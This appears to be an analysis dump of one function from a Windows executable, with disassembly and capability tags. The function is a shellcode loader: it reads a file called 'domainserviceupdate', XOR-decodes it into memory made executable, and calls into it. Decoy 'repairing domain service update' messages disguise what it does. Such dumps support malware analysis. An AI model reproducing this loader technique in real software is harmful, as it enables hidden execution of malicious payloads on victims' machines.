Function at 0x140002310
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x14003c060]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor edi, edi
mov dword [rsp + 0x58], edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], dil
lea r8d, [rdi + 0x13]
lea rdx, str.domainserviceupdate
lea rcx, [rsp + 0x30]
call fcn.140003e10
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x60]
call fcn.140007fa0
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.140003b40
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea r8, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], r8
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x5c], edx
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
cmp qword [rbp - 0x10], rdi
mov qword [rsp + rcx + 0x60], r8
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x5c], edx
lea rcx, [rsp + 0x70]
je 0x140002438
call fcn.1400031f0
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x5c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.140005124
nop
lea r15d, [rdi - 1]
jmp 0x14000247d
call fcn.1400031f0
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x60], rax
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x5c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.140005124
nop
mov r15d, 0x176600
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400024ba
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000265d
call fcn.140005a20
lea rcx, [rsp + 0x30]
call fcn.140001f20
cmp qword [rax + 0x18], 0x10
jb 0x1400024ce
mov rax, qword [rax]
mov qword [rsp + 0x50], rdi
lea r8, [0x140037360]
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.14000e1ac
test eax, eax
jne 0x140002652
cmp qword [rsp + 0x50], 0
je 0x140002652
movsxd rsi, r15d
mov rcx, rsi
call fcn.14000edc8
mov rbx, rax
mov r9, qword [rsp + 0x50]
mov r8, rsi
mov edx, 1
mov rcx, rax
call fcn.14000e83c
mov rcx, qword [rsp + 0x50]
call fcn.14000c5c8
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002565
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002560
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000264c
call fcn.140005a20
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, str.prepare_to_repair_domain_service_update_setting
call fcn.140001150
mov r9d, 4
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140007850
lea rcx, str.repairing_stage_1
call fcn.140001150
lea r9, [rsp + 0x58]
mov r8d, 0x40
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x1e07e
call fcn.14000bfe8
test r15d, r15d
jle 0x140002600
mov rbx, r14
mov rdi, rsi
call fcn.14000bfbc
cdq
idiv r15d
inc dl
xor dl, byte [rbx]
xor dl, 0x7e
mov byte [rbx], dl
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x1400025e4
call r14
lea rcx, str.repairing_finished
call fcn.140001150
mov r8d, 0x8000
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140005a00
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000ed50
int3
mov ecx, 0xffffffff
call fcn.14000be74
int3
call fcn.14000ed50
int3